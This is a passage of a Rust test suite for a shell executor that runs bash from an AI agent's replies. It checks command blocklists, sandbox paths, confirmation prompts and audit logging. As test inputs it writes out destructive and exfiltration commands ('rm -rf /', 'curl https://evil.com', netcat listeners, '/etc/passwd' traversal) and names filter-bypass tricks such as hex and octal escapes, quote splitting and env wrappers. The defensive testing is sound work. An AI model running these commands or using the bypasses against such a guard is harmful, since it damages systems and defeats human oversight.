1018        assert_eq!(code, 0);
1019    }
1020
1021    #[tokio::test]
1022    #[cfg(not(target_os = "windows"))]
1023    async fn execute_stderr_output() {
1024        let (result, _) =
1025            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
1026        assert!(result.contains("[stderr]"));
1027        assert!(result.contains("err"));
1028    }
1029
1030    #[tokio::test]
1031    #[cfg(not(target_os = "windows"))]
1032    async fn execute_stdout_and_stderr_combined() {
1033        let (result, _) = execute_bash(
1034            "echo out && echo err >&2",
1035            Duration::from_secs(30),
1036            None,
1037            None,
1038            None,
1039        )
1040        .await;
1041        assert!(result.contains("out"));
1042        assert!(result.contains("[stderr]"));
1043        assert!(result.contains("err"));
1044        assert!(result.contains('\n'));
1045    }
1046
1047    #[tokio::test]
1048    #[cfg(not(target_os = "windows"))]
1049    async fn execute_empty_output() {
1050        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
1051        assert_eq!(result, "(no output)");
1052        assert_eq!(code, 0);
1053    }
1054
1055    #[tokio::test]
1056    async fn blocked_command_rejected() {
1057        let config = ShellConfig {
1058            blocked_commands: vec!["rm -rf /".to_owned()],
1059            ..default_config()
1060        };
1061        let executor = ShellExecutor::new(&config);
1062        let response = "Run:\n```bash\nrm -rf /\n```";
1063        let result = executor.execute(response).await;
1064        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1065    }
1066
1067    #[tokio::test]
1068    #[cfg(not(target_os = "windows"))]
1069    async fn timeout_enforced() {
1070        let config = ShellConfig {
1071            timeout: 1,
1072            ..default_config()
1073        };
1074        let executor = ShellExecutor::new(&config);
1075        let response = "Run:\n```bash\nsleep 60\n```";
1076        let result = executor.execute(response).await;
1077        assert!(matches!(
1078            result,
1079            Err(ToolError::Timeout { timeout_secs: 1 })
1080        ));
1081    }
1082
1083    #[tokio::test]
1084    #[cfg(not(target_os = "windows"))]
1085    async fn timeout_logged_as_audit_timeout_not_error() {
1086        use crate::audit::AuditLogger;
1087        use crate::config::AuditConfig;
1088        let dir = tempfile::tempdir().unwrap();
1089        let log_path = dir.path().join("audit.log");
1090        let audit_config = AuditConfig {
1091            enabled: true,
1092            destination: log_path.display().to_string(),
1093        };
1094        let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1095        let config = ShellConfig {
1096            timeout: 1,
1097            ..default_config()
1098        };
1099        let executor = ShellExecutor::new(&config).with_audit(logger);
1100        let _ = executor.execute("```bash\nsleep 60\n```").await;
1101        let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1102        assert!(
1103            content.contains("\"type\":\"timeout\""),
1104            "expected AuditResult::Timeout, got: {content}"
1105        );
1106        assert!(
1107            !content.contains("\"type\":\"error\""),
1108            "timeout must not be logged as error: {content}"
1109        );
1110    }
1111
1112    #[tokio::test]
1113    #[cfg(not(target_os = "windows"))]
1114    async fn stderr_output_logged_as_audit_error() {
1115        use crate::audit::AuditLogger;
1116        use crate::config::AuditConfig;
1117        let dir = tempfile::tempdir().unwrap();
1118        let log_path = dir.path().join("audit.log");
1119        let audit_config = AuditConfig {
1120            enabled: true,
1121            destination: log_path.display().to_string(),
1122        };
1123        let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1124        let executor = ShellExecutor::new(&default_config()).with_audit(logger);
1125        let _ = executor.execute("```bash\necho err >&2\n```").await;
1126        let content = tokio::fs::read_to_string(&log_path).await.unwrap();
1127        assert!(
1128            content.contains("\"type\":\"error\""),
1129            "expected AuditResult::Error for [stderr] output, got: {content}"
1130        );
1131    }
1132
1133    #[tokio::test]
1134    async fn execute_no_blocks_returns_none() {
1135        let executor = ShellExecutor::new(&default_config());
1136        let result = executor.execute("plain text, no blocks").await;
1137        assert!(result.is_ok());
1138        assert!(result.unwrap().is_none());
1139    }
1140
1141    #[tokio::test]
1142    async fn execute_multiple_blocks_counted() {
1143        let executor = ShellExecutor::new(&default_config());
1144        let response = "```bash\necho one\n```\n```bash\necho two\n```";
1145        let result = executor.execute(response).await;
1146        let output = result.unwrap().unwrap();
1147        assert_eq!(output.blocks_executed, 2);
1148        assert!(output.summary.contains("one"));
1149        assert!(output.summary.contains("two"));
1150    }
1151
1152    // --- command filtering tests ---
1153
1154    #[test]
1155    fn default_blocked_always_active() {
1156        let executor = ShellExecutor::new(&default_config());
1157        assert!(executor.find_blocked_command("rm -rf /").is_some());
1158        assert!(executor.find_blocked_command("sudo apt install").is_some());
1159        assert!(
1160            executor
1161                .find_blocked_command("mkfs.ext4 /dev/sda")
1162                .is_some()
1163        );
1164        assert!(
1165            executor
1166                .find_blocked_command("dd if=/dev/zero of=disk")
1167                .is_some()
1168        );
1169    }
1170
1171    #[test]
1172    fn user_blocked_additive() {
1173        let config = ShellConfig {
1174            blocked_commands: vec!["custom-danger".to_owned()],
1175            ..default_config()
1176        };
1177        let executor = ShellExecutor::new(&config);
1178        assert!(executor.find_blocked_command("sudo rm").is_some());
1179        assert!(
1180            executor
1181                .find_blocked_command("custom-danger script")
1182                .is_some()
1183        );
1184    }
1185
1186    #[test]
1187    fn blocked_prefix_match() {
1188        let executor = ShellExecutor::new(&default_config());
1189        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
1190    }
1191
1192    #[test]
1193    fn blocked_infix_match() {
1194        let executor = ShellExecutor::new(&default_config());
1195        assert!(
1196            executor
1197                .find_blocked_command("echo hello && sudo rm")
1198                .is_some()
1199        );
1200    }
1201
1202    #[test]
1203    fn blocked_case_insensitive() {
1204        let executor = ShellExecutor::new(&default_config());
1205        assert!(executor.find_blocked_command("SUDO apt install").is_some());
1206        assert!(executor.find_blocked_command("Sudo apt install").is_some());
1207        assert!(executor.find_blocked_command("SuDo apt install").is_some());
1208        assert!(
1209            executor
1210                .find_blocked_command("MKFS.ext4 /dev/sda")
1211                .is_some()
1212        );
1213        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1214        assert!(executor.find_blocked_command("RM -RF /").is_some());
1215    }
1216
1217    #[test]
1218    fn safe_command_passes() {
1219        let executor = ShellExecutor::new(&default_config());
1220        assert!(executor.find_blocked_command("echo hello").is_none());
1221        assert!(executor.find_blocked_command("ls -la").is_none());
1222        assert!(executor.find_blocked_command("cat file.txt").is_none());
1223        assert!(executor.find_blocked_command("cargo build").is_none());
1224    }
1225
1226    #[test]
1227    fn partial_match_accepted_tradeoff() {
1228        let executor = ShellExecutor::new(&default_config());
1229        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
1230        assert!(executor.find_blocked_command("sudoku").is_none());
1231    }
1232
1233    #[test]
1234    fn multiline_command_blocked() {
1235        let executor = ShellExecutor::new(&default_config());
1236        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1237    }
1238
1239    #[test]
1240    fn dd_pattern_blocks_dd_if() {
1241        let executor = ShellExecutor::new(&default_config());
1242        assert!(
1243            executor
1244                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1245                .is_some()
1246        );
1247    }
1248
1249    #[test]
1250    fn mkfs_pattern_blocks_variants() {
1251        let executor = ShellExecutor::new(&default_config());
1252        assert!(
1253            executor
1254                .find_blocked_command("mkfs.ext4 /dev/sda")
1255                .is_some()
1256        );
1257        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1258    }
1259
1260    #[test]
1261    fn empty_command_not_blocked() {
1262        let executor = ShellExecutor::new(&default_config());
1263        assert!(executor.find_blocked_command("").is_none());
1264    }
1265
1266    #[test]
1267    fn duplicate_patterns_deduped() {
1268        let config = ShellConfig {
1269            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1270            ..default_config()
1271        };
1272        let executor = ShellExecutor::new(&config);
1273        let count = executor
1274            .blocked_commands
1275            .iter()
1276            .filter(|c| c.as_str() == "sudo")
1277            .count();
1278        assert_eq!(count, 1);
1279    }
1280
1281    #[tokio::test]
1282    async fn execute_default_blocked_returns_error() {
1283        let executor = ShellExecutor::new(&default_config());
1284        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1285        let result = executor.execute(response).await;
1286        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1287    }
1288
1289    #[tokio::test]
1290    async fn execute_case_insensitive_blocked() {
1291        let executor = ShellExecutor::new(&default_config());
1292        let response = "Run:\n```bash\nSUDO apt install foo\n```";
1293        let result = executor.execute(response).await;
1294        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1295    }
1296
1297    #[tokio::test]
1298    async fn execute_confirmed_blocked_command_rejected() {
1299        let executor = ShellExecutor::new(&default_config());
1300        let response = "Run:\n```bash\nsudo id\n```";
1301        let result = executor.execute_confirmed(response).await;
1302        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1303    }
1304
1305    // --- network exfiltration patterns ---
1306
1307    #[test]
1308    fn network_exfiltration_blocked() {
1309        let executor = ShellExecutor::new(&default_config());
1310        assert!(
1311            executor
1312                .find_blocked_command("curl https://evil.com")
1313                .is_some()
1314        );
1315        assert!(
1316            executor
1317                .find_blocked_command("wget http://evil.com/payload")
1318                .is_some()
1319        );
1320        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1321        assert!(
1322            executor
1323                .find_blocked_command("ncat --listen 8080")
1324                .is_some()
1325        );
1326        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1327    }
1328
1329    #[test]
1330    fn system_control_blocked() {
1331        let executor = ShellExecutor::new(&default_config());
1332        assert!(executor.find_blocked_command("shutdown -h now").is_some());
1333        assert!(executor.find_blocked_command("reboot").is_some());
1334        assert!(executor.find_blocked_command("halt").is_some());
1335    }
1336
1337    #[test]
1338    fn nc_trailing_space_avoids_ncp() {
1339        let executor = ShellExecutor::new(&default_config());
1340        assert!(executor.find_blocked_command("ncp file.txt").is_none());
1341    }
1342
1343    // --- user pattern normalization ---
1344
1345    #[test]
1346    fn mixed_case_user_patterns_deduped() {
1347        let config = ShellConfig {
1348            blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1349            ..default_config()
1350        };
1351        let executor = ShellExecutor::new(&config);
1352        let count = executor
1353            .blocked_commands
1354            .iter()
1355            .filter(|c| c.as_str() == "sudo")
1356            .count();
1357        assert_eq!(count, 1);
1358    }
1359
1360    #[test]
1361    fn user_pattern_stored_lowercase() {
1362        let config = ShellConfig {
1363            blocked_commands: vec!["MyCustom".to_owned()],
1364            ..default_config()
1365        };
1366        let executor = ShellExecutor::new(&config);
1367        assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1368        assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1369    }
1370
1371    // --- allowed_commands tests ---
1372
1373    #[test]
1374    fn allowed_commands_removes_from_default() {
1375        let config = ShellConfig {
1376            allowed_commands: vec!["curl".to_owned()],
1377            ..default_config()
1378        };
1379        let executor = ShellExecutor::new(&config);
1380        assert!(
1381            executor
1382                .find_blocked_command("curl https://example.com")
1383                .is_none()
1384        );
1385        assert!(executor.find_blocked_command("sudo rm").is_some());
1386    }
1387
1388    #[test]
1389    fn allowed_commands_case_insensitive() {
1390        let config = ShellConfig {
1391            allowed_commands: vec!["CURL".to_owned()],
1392            ..default_config()
1393        };
1394        let executor = ShellExecutor::new(&config);
1395        assert!(
1396            executor
1397                .find_blocked_command("curl https://example.com")
1398                .is_none()
1399        );
1400    }
1401
1402    #[test]
1403    fn allowed_does_not_override_explicit_block() {
1404        let config = ShellConfig {
1405            blocked_commands: vec!["curl".to_owned()],
1406            allowed_commands: vec!["curl".to_owned()],
1407            ..default_config()
1408        };
1409        let executor = ShellExecutor::new(&config);
1410        assert!(
1411            executor
1412                .find_blocked_command("curl https://example.com")
1413                .is_some()
1414        );
1415    }
1416
1417    #[test]
1418    fn allowed_unknown_command_ignored() {
1419        let config = ShellConfig {
1420            allowed_commands: vec!["nonexistent-cmd".to_owned()],
1421            ..default_config()
1422        };
1423        let executor = ShellExecutor::new(&config);
1424        assert!(executor.find_blocked_command("sudo rm").is_some());
1425        assert!(
1426            executor
1427                .find_blocked_command("curl https://example.com")
1428                .is_some()
1429        );
1430    }
1431
1432    #[test]
1433    fn empty_allowed_commands_changes_nothing() {
1434        let executor = ShellExecutor::new(&default_config());
1435        assert!(
1436            executor
1437                .find_blocked_command("curl https://example.com")
1438                .is_some()
1439        );
1440        assert!(executor.find_blocked_command("sudo rm").is_some());
1441        assert!(
1442            executor
1443                .find_blocked_command("wget http://evil.com")
1444                .is_some()
1445        );
1446    }
1447
1448    // --- Phase 1: sandbox tests ---
1449
1450    #[test]
1451    fn extract_paths_from_code() {
1452        let paths = extract_paths("cat /etc/passwd && ls /var/log");
1453        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1454    }
1455
1456    #[test]
1457    fn extract_paths_handles_trailing_chars() {
1458        let paths = extract_paths("cat /etc/passwd; echo /var/log|");
1459        assert_eq!(paths, vec!["/etc/passwd".to_owned(), "/var/log".to_owned()]);
1460    }
1461
1462    #[test]
1463    fn extract_paths_detects_relative() {
1464        let paths = extract_paths("cat ./file.txt ../other");
1465        assert_eq!(paths, vec!["./file.txt".to_owned(), "../other".to_owned()]);
1466    }
1467
1468    #[test]
1469    fn sandbox_allows_cwd_by_default() {
1470        let executor = ShellExecutor::new(&default_config());
1471        let cwd = std::env::current_dir().unwrap();
1472        let cwd_path = cwd.display().to_string();
1473        let code = format!("cat {cwd_path}/file.txt");
1474        assert!(executor.validate_sandbox(&code).is_ok());
1475    }
1476
1477    #[test]
1478    fn sandbox_rejects_path_outside_allowed() {
1479        let config = sandbox_config(vec!["/tmp/test-sandbox".into()]);
1480        let executor = ShellExecutor::new(&config);
1481        let result = executor.validate_sandbox("cat /etc/passwd");
1482        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1483    }
1484
1485    #[test]
1486    fn sandbox_no_absolute_paths_passes() {
1487        let config = sandbox_config(vec!["/tmp".into()]);
1488        let executor = ShellExecutor::new(&config);
1489        assert!(executor.validate_sandbox("echo hello").is_ok());
1490    }
1491
1492    #[test]
1493    fn sandbox_rejects_dotdot_traversal() {
1494        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1495        let executor = ShellExecutor::new(&config);
1496        let result = executor.validate_sandbox("cat ../../../etc/passwd");
1497        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1498    }
1499
1500    #[test]
1501    fn sandbox_rejects_bare_dotdot() {
1502        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1503        let executor = ShellExecutor::new(&config);
1504        let result = executor.validate_sandbox("cd ..");
1505        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1506    }
1507
1508    #[test]
1509    fn sandbox_rejects_relative_dotslash_outside() {
1510        let config = sandbox_config(vec!["/nonexistent/sandbox".into()]);
1511        let executor = ShellExecutor::new(&config);
1512        let result = executor.validate_sandbox("cat ./secret.txt");
1513        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1514    }
1515
1516    #[test]
1517    fn sandbox_rejects_absolute_with_embedded_dotdot() {
1518        let config = sandbox_config(vec!["/tmp/sandbox".into()]);
1519        let executor = ShellExecutor::new(&config);
1520        let result = executor.validate_sandbox("cat /tmp/sandbox/../../../etc/passwd");
1521        assert!(matches!(result, Err(ToolError::SandboxViolation { .. })));
1522    }
1523
1524    #[test]
1525    fn has_traversal_detects_dotdot() {
1526        assert!(has_traversal("../etc/passwd"));
1527        assert!(has_traversal("./foo/../bar"));
1528        assert!(has_traversal("/tmp/sandbox/../../etc"));
1529        assert!(has_traversal(".."));
1530        assert!(!has_traversal("./safe/path"));
1531        assert!(!has_traversal("/absolute/path"));
1532        assert!(!has_traversal("no-dots-here"));
1533    }
1534
1535    #[test]
1536    fn extract_paths_detects_dotdot_standalone() {
1537        let paths = extract_paths("cd ..");
1538        assert_eq!(paths, vec!["..".to_owned()]);
1539    }
1540
1541    // --- Phase 1: allow_network tests ---
1542
1543    #[test]
1544    fn allow_network_false_blocks_network_commands() {
1545        let config = ShellConfig {
1546            allow_network: false,
1547            ..default_config()
1548        };
1549        let executor = ShellExecutor::new(&config);
1550        assert!(
1551            executor
1552                .find_blocked_command("curl https://example.com")
1553                .is_some()
1554        );
1555        assert!(
1556            executor
1557                .find_blocked_command("wget http://example.com")
1558                .is_some()
1559        );
1560        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1561    }
1562
1563    #[test]
1564    fn allow_network_true_keeps_default_behavior() {
1565        let config = ShellConfig {
1566            allow_network: true,
1567            ..default_config()
1568        };
1569        let executor = ShellExecutor::new(&config);
1570        // Network commands are still blocked by DEFAULT_BLOCKED
1571        assert!(
1572            executor
1573                .find_blocked_command("curl https://example.com")
1574                .is_some()
1575        );
1576    }
1577
1578    // --- Phase 2a: confirmation tests ---
1579
1580    #[test]
1581    fn find_confirm_command_matches_pattern() {
1582        let config = ShellConfig {
1583            confirm_patterns: vec!["rm ".into(), "git push -f".into()],
1584            ..default_config()
1585        };
1586        let executor = ShellExecutor::new(&config);
1587        assert_eq!(
1588            executor.find_confirm_command("rm /tmp/file.txt"),
1589            Some("rm ")
1590        );
1591        assert_eq!(
1592            executor.find_confirm_command("git push -f origin main"),
1593            Some("git push -f")
1594        );
1595    }
1596
1597    #[test]
1598    fn find_confirm_command_case_insensitive() {
1599        let config = ShellConfig {
1600            confirm_patterns: vec!["drop table".into()],
1601            ..default_config()
1602        };
1603        let executor = ShellExecutor::new(&config);
1604        assert!(executor.find_confirm_command("DROP TABLE users").is_some());
1605    }
1606
1607    #[test]
1608    fn find_confirm_command_no_match() {
1609        let config = ShellConfig {
1610            confirm_patterns: vec!["rm ".into()],
1611            ..default_config()
1612        };
1613        let executor = ShellExecutor::new(&config);
1614        assert!(executor.find_confirm_command("echo hello").is_none());
1615    }
1616
1617    #[tokio::test]
1618    async fn confirmation_required_returned() {
1619        let config = ShellConfig {
1620            confirm_patterns: vec!["rm ".into()],
1621            ..default_config()
1622        };
1623        let executor = ShellExecutor::new(&config);
1624        let response = "```bash\nrm file.txt\n```";
1625        let result = executor.execute(response).await;
1626        assert!(matches!(
1627            result,
1628            Err(ToolError::ConfirmationRequired { .. })
1629        ));
1630    }
1631
1632    #[tokio::test]
1633    async fn execute_confirmed_skips_confirmation() {
1634        let config = ShellConfig {
1635            confirm_patterns: vec!["echo".into()],
1636            ..default_config()
1637        };
1638        let executor = ShellExecutor::new(&config);
1639        let response = "```bash\necho confirmed\n```";
1640        let result = executor.execute_confirmed(response).await;
1641        assert!(result.is_ok());
1642        let output = result.unwrap().unwrap();
1643        assert!(output.summary.contains("confirmed"));
1644    }
1645
1646    // --- default confirm patterns test ---
1647
1648    #[test]
1649    fn default_confirm_patterns_loaded() {
1650        let config = ShellConfig::default();
1651        assert!(!config.confirm_patterns.is_empty());
1652        assert!(config.confirm_patterns.contains(&"rm ".to_owned()));
1653        assert!(config.confirm_patterns.contains(&"git push -f".to_owned()));
1654        assert!(config.confirm_patterns.contains(&"$(".to_owned()));
1655        assert!(config.confirm_patterns.contains(&"`".to_owned()));
1656    }
1657
1658    // --- bypass-resistant matching tests ---
1659
1660    #[test]
1661    fn backslash_bypass_blocked() {
1662        let executor = ShellExecutor::new(&default_config());
1663        // su\do -> sudo after stripping backslash
1664        assert!(executor.find_blocked_command("su\\do rm").is_some());
1665    }
1666
1667    #[test]
1668    fn hex_escape_bypass_blocked() {
1669        let executor = ShellExecutor::new(&default_config());
1670        // $'\x73\x75\x64\x6f' -> sudo
1671        assert!(
1672            executor
1673                .find_blocked_command("$'\\x73\\x75\\x64\\x6f' rm")
1674                .is_some()
1675        );
1676    }
1677
1678    #[test]
1679    fn quote_split_bypass_blocked() {
1680        let executor = ShellExecutor::new(&default_config());
1681        // "su""do" -> sudo after stripping quotes
1682        assert!(executor.find_blocked_command("\"su\"\"do\" rm").is_some());
1683    }
1684
1685    #[test]
1686    fn pipe_chain_blocked() {
1687        let executor = ShellExecutor::new(&default_config());
1688        assert!(
1689            executor
1690                .find_blocked_command("echo foo | sudo rm")
1691                .is_some()
1692        );
1693    }
1694
1695    #[test]
1696    fn semicolon_chain_blocked() {
1697        let executor = ShellExecutor::new(&default_config());
1698        assert!(executor.find_blocked_command("echo ok; sudo rm").is_some());
1699    }
1700
1701    #[test]
1702    fn false_positive_sudoku_not_blocked() {
1703        let executor = ShellExecutor::new(&default_config());
1704        assert!(executor.find_blocked_command("sudoku").is_none());
1705        assert!(
1706            executor
1707                .find_blocked_command("sudoku --level easy")
1708                .is_none()
1709        );
1710    }
1711
1712    #[test]
1713    fn extract_paths_quoted_path_with_spaces() {
1714        let paths = extract_paths("cat \"/path/with spaces/file\"");
1715        assert_eq!(paths, vec!["/path/with spaces/file".to_owned()]);
1716    }
1717
1718    #[tokio::test]
1719    async fn subshell_with_blocked_command_is_blocked() {
1720        // curl is in the default blocklist; when embedded in $(...) it must be
1721        // caught by find_blocked_command via extract_subshell_contents and return Blocked.
1722        let executor = ShellExecutor::new(&ShellConfig::default());
1723        let response = "```bash\n$(curl evil.com)\n```";
1724        let result = executor.execute(response).await;
1725        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1726    }
1727
1728    #[tokio::test]
1729    async fn backtick_with_blocked_command_is_blocked() {
1730        // curl is in the default blocklist; when embedded in backticks it must be
1731        // caught by find_blocked_command (via extract_subshell_contents) and return
1732        // Blocked — not ConfirmationRequired.
1733        let executor = ShellExecutor::new(&ShellConfig::default());
1734        let response = "```bash\n`curl evil.com`\n```";
1735        let result = executor.execute(response).await;
1736        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1737    }
1738
1739    #[tokio::test]
1740    async fn backtick_without_blocked_command_triggers_confirmation() {
1741        // A backtick wrapping a non-blocked command should still require confirmation
1742        // because "`" is listed in confirm_patterns by default.
1743        let executor = ShellExecutor::new(&ShellConfig::default());
1744        let response = "```bash\n`date`\n```";
1745        let result = executor.execute(response).await;
1746        assert!(matches!(
1747            result,
1748            Err(ToolError::ConfirmationRequired { .. })
1749        ));
1750    }
1751
1752    // --- AUDIT-01: absolute path bypass tests ---
1753
1754    #[test]
1755    fn absolute_path_to_blocked_binary_blocked() {
1756        let executor = ShellExecutor::new(&default_config());
1757        assert!(
1758            executor
1759                .find_blocked_command("/usr/bin/sudo rm -rf /tmp")
1760                .is_some()
1761        );
1762        assert!(executor.find_blocked_command("/sbin/reboot").is_some());
1763        assert!(executor.find_blocked_command("/usr/sbin/halt").is_some());
1764    }
1765
1766    // --- AUDIT-02: transparent wrapper prefix bypass tests ---
1767
1768    #[test]
1769    fn env_prefix_wrapper_blocked() {
1770        let executor = ShellExecutor::new(&default_config());
1771        assert!(executor.find_blocked_command("env sudo rm -rf /").is_some());
1772    }
1773
1774    #[test]
1775    fn command_prefix_wrapper_blocked() {
1776        let executor = ShellExecutor::new(&default_config());
1777        assert!(
1778            executor
1779                .find_blocked_command("command sudo rm -rf /")
1780                .is_some()
1781        );
1782    }
1783
1784    #[test]
1785    fn exec_prefix_wrapper_blocked() {
1786        let executor = ShellExecutor::new(&default_config());
1787        assert!(executor.find_blocked_command("exec sudo rm").is_some());
1788    }
1789
1790    #[test]
1791    fn nohup_prefix_wrapper_blocked() {
1792        let executor = ShellExecutor::new(&default_config());
1793        assert!(executor.find_blocked_command("nohup reboot now").is_some());
1794    }
1795
1796    #[test]
1797    fn absolute_path_via_env_wrapper_blocked() {
1798        let executor = ShellExecutor::new(&default_config());
1799        assert!(
1800            executor
1801                .find_blocked_command("env /usr/bin/sudo rm -rf /")
1802                .is_some()
1803        );
1804    }
1805
1806    // --- AUDIT-03: octal escape bypass tests ---
1807
1808    #[test]
1809    fn octal_escape_bypass_blocked() {
1810        let executor = ShellExecutor::new(&default_config());
1811        // $'\163\165\144\157' = sudo in octal
1812        assert!(
1813            executor
1814                .find_blocked_command("$'\\163\\165\\144\\157' rm")
1815                .is_some()
1816        );
1817    }
1818
1819    #[tokio::test]
1820    async fn with_audit_attaches_logger() {
1821        use crate::audit::AuditLogger;
1822        use crate::config::AuditConfig;
1823        let config = default_config();
1824        let executor = ShellExecutor::new(&config);
1825        let audit_config = AuditConfig {
1826            enabled: true,
1827            destination: "stdout".into(),
1828        };
1829        let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1830        let executor = executor.with_audit(logger);
1831        assert!(executor.audit_logger.is_some());
1832    }
1833
1834    #[test]
1835    fn chrono_now_returns_valid_timestamp() {
1836        let ts = chrono_now();
1837        assert!(!ts.is_empty());
1838        let parsed: u64 = ts.parse().unwrap();
1839        assert!(parsed > 0);
1840    }
1841
1842    #[cfg(unix)]
1843    #[tokio::test]
1844    async fn execute_bash_injects_extra_env() {
1845        let mut env = std::collections::HashMap::new();
1846        env.insert(
1847            "ZEPH_TEST_INJECTED_VAR".to_owned(),
1848            "hello-from-env".to_owned(),
1849        );
1850        let (result, code) = execute_bash(
1851            "echo $ZEPH_TEST_INJECTED_VAR",
1852            Duration::from_secs(5),
1853            None,
1854            None,
1855            Some(&env),
1856        )
1857        .await;
1858        assert_eq!(code, 0);
1859        assert!(result.contains("hello-from-env"));
1860    }
1861
1862    #[cfg(unix)]
1863    #[tokio::test]
1864    async fn shell_executor_set_skill_env_injects_vars() {
1865        use crate::executor::ToolExecutor;
1866
1867        let config = ShellConfig {
1868            timeout: 5,
1869            allowed_commands: vec![],
1870            blocked_commands: vec![],
1871            allowed_paths: vec![],
1872            confirm_patterns: vec![],
1873            allow_network: false,
1874        };
1875
1876        let executor = ShellExecutor::new(&config);
1877        let mut env = std::collections::HashMap::new();
1878        env.insert("MY_SKILL_SECRET".to_owned(), "injected-value".to_owned());
1879        executor.set_skill_env(Some(env));
1880        let result = executor
1881            .execute("```bash\necho $MY_SKILL_SECRET\n```")
1882            .await
1883            .unwrap()
1884            .unwrap();
1885        assert!(result.summary.contains("injected-value"));
1886        executor.set_skill_env(None);
1887    }
1888
1889    #[cfg(unix)]
1890    #[tokio::test]
1891    async fn execute_bash_error_handling() {
1892        let (result, code) = execute_bash("false", Duration::from_secs(5), None, None, None).await;
1893        assert_eq!(result, "(no output)");
1894        assert_eq!(code, 1);
1895    }
1896
1897    #[cfg(unix)]
1898    #[tokio::test]
1899    async fn execute_bash_command_not_found() {
1900        let (result, _) = execute_bash(
1901            "nonexistent-command-xyz",
1902            Duration::from_secs(5),
1903            None,
1904            None,
1905            None,
1906        )
1907        .await;
1908        assert!(result.contains("[stderr]") || result.contains("[error]"));
1909    }
1910
1911    #[test]
1912    fn extract_paths_empty() {
1913        assert!(extract_paths("").is_empty());
1914    }
1915
1916    #[tokio::test]
1917    async fn policy_deny_blocks_command() {
1918        let policy = PermissionPolicy::from_legacy(&["forbidden".to_owned()], &[]);
1919        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1920        let response = "```bash\nforbidden command\n```";
1921        let result = executor.execute(response).await;
1922        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1923    }
1924
1925    #[tokio::test]
1926    async fn policy_ask_requires_confirmation() {
1927        let policy = PermissionPolicy::from_legacy(&[], &["risky".to_owned()]);
1928        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1929        let response = "```bash\nrisky operation\n```";
1930        let result = executor.execute(response).await;
1931        assert!(matches!(
1932            result,
1933            Err(ToolError::ConfirmationRequired { .. })
1934        ));
1935    }
1936
1937    #[tokio::test]
1938    async fn policy_allow_skips_checks() {
1939        use crate::permissions::PermissionRule;
1940        use std::collections::HashMap;
1941        let mut rules = HashMap::new();
1942        rules.insert(
1943            "bash".to_owned(),
1944            vec![PermissionRule {
1945                pattern: "*".to_owned(),
1946                action: PermissionAction::Allow,
1947            }],
1948        );
1949        let policy = PermissionPolicy::new(rules);
1950        let executor = ShellExecutor::new(&default_config()).with_permissions(policy);
1951        let response = "```bash\necho hello\n```";
1952        let result = executor.execute(response).await;
1953        assert!(result.is_ok());
1954    }
1955
1956    #[tokio::test]
1957    async fn blocked_command_logged_to_audit() {
1958        use crate::audit::AuditLogger;
1959        use crate::config::AuditConfig;
1960        let config = ShellConfig {
1961            blocked_commands: vec!["dangerous".to_owned()],
1962            ..default_config()
1963        };
1964        let audit_config = AuditConfig {
1965            enabled: true,
1966            destination: "stdout".into(),
1967        };
1968        let logger = std::sync::Arc::new(AuditLogger::from_config(&audit_config).await.unwrap());
1969        let executor = ShellExecutor::new(&config).with_audit(logger);
1970        let response = "```bash\ndangerous command\n```";
1971        let result = executor.execute(response).await;
1972        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1973    }
1974
1975    #[test]
1976    fn tool_definitions_returns_bash() {
1977        let executor = ShellExecutor::new(&default_config());
1978        let defs = executor.tool_definitions();
1979        assert_eq!(defs.len(), 1);
1980        assert_eq!(defs[0].id, "bash");
1981        assert_eq!(
1982            defs[0].invocation,
1983            crate::registry::InvocationHint::FencedBlock("bash")
1984        );
1985    }
1986
1987    #[test]
1988    fn tool_definitions_schema_has_command_param() {
1989        let executor = ShellExecutor::new(&default_config());
1990        let defs = executor.tool_definitions();
1991        let obj = defs[0].schema.as_object().unwrap();
1992        let props = obj["properties"].as_object().unwrap();
1993        assert!(props.contains_key("command"));
1994        let req = obj["required"].as_array().unwrap();
1995        assert!(req.iter().any(|v| v.as_str() == Some("command")));
1996    }
1997
1998    #[tokio::test]
1999    #[cfg(not(target_os = "windows"))]
2000    async fn cancel_token_kills_child_process() {
2001        let token = CancellationToken::new();
2002        let token_clone = token.clone();
2003        tokio::spawn(async move {
2004            tokio::time::sleep(Duration::from_millis(100)).await;
2005            token_clone.cancel();
2006        });
2007        let (result, code) = execute_bash(
2008            "sleep 60",
2009            Duration::from_secs(30),
2010            None,
2011            Some(&token),
2012            None,
2013        )
2014        .await;
2015        assert_eq!(code, 130);
